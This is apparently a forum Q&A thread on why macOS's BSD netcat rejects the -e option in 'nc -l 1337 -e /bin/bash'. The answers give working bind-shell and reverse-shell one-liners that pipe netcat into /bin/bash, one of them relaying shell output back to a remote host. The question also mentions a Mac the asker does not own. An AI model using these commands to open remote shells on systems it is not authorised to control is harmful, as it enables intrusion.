When I try to run nc -l 1337 -e /bin/bash, it says:

nc: invalid option -- e
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] 
[-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
      [-s source_ip_address] [-w timeout] [-X proxy_version]
      [-x proxy_address[:port]] [hostname] [port[s]]

I want to run commands remotely, but instead it just remotely prints text. Why is this not working and how can I fix it?

  • 1
    Mac OS is shipping with a bsd variant of netcat. I've not even found a way yet to get the version for /usr/bin/nc. But it's possible to install gnu netcat with i.e. homebrew which has this -e option. I have not found out a workaround how to get the same behaviour with the bsd nc command, or i'd add that as an answer.
    – hyph
    Mar 19, 2017 at 21:10
  • Okay. I can't do that since I'm not the owner of my Mac... :(
    – anonymous
    Mar 19, 2017 at 21:12
  • 2
    @KeeganKuhn I don't think you have to have any administrative rights. Building from the source might also be an option. Also see the client/server section in Ubuntu's netcat man page. While the version is different, the same approach should work with the FreeBSD flavour as well.
    – undercat
    Mar 20, 2017 at 4:25
  • Submit that as an answer!
    – anonymous
    Mar 28, 2017 at 0:24

2 Answers 2


You don't have to use nc -l 1337 -e /bin/bash. Instead, an alternative that works exactly the same is nc -l 1337 | /bin/bash outputs everything it receives into /bin/bash.


Or try nc target port | /bin/bash | nc target port


nc 4444 | /bin/bash | nc 4444

It will redirect what it receives from the first nc to /bin/bash and the output from /bin/bash to the second nc. It's a work-around, but it works. :)
Otherwise just install ncat.


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.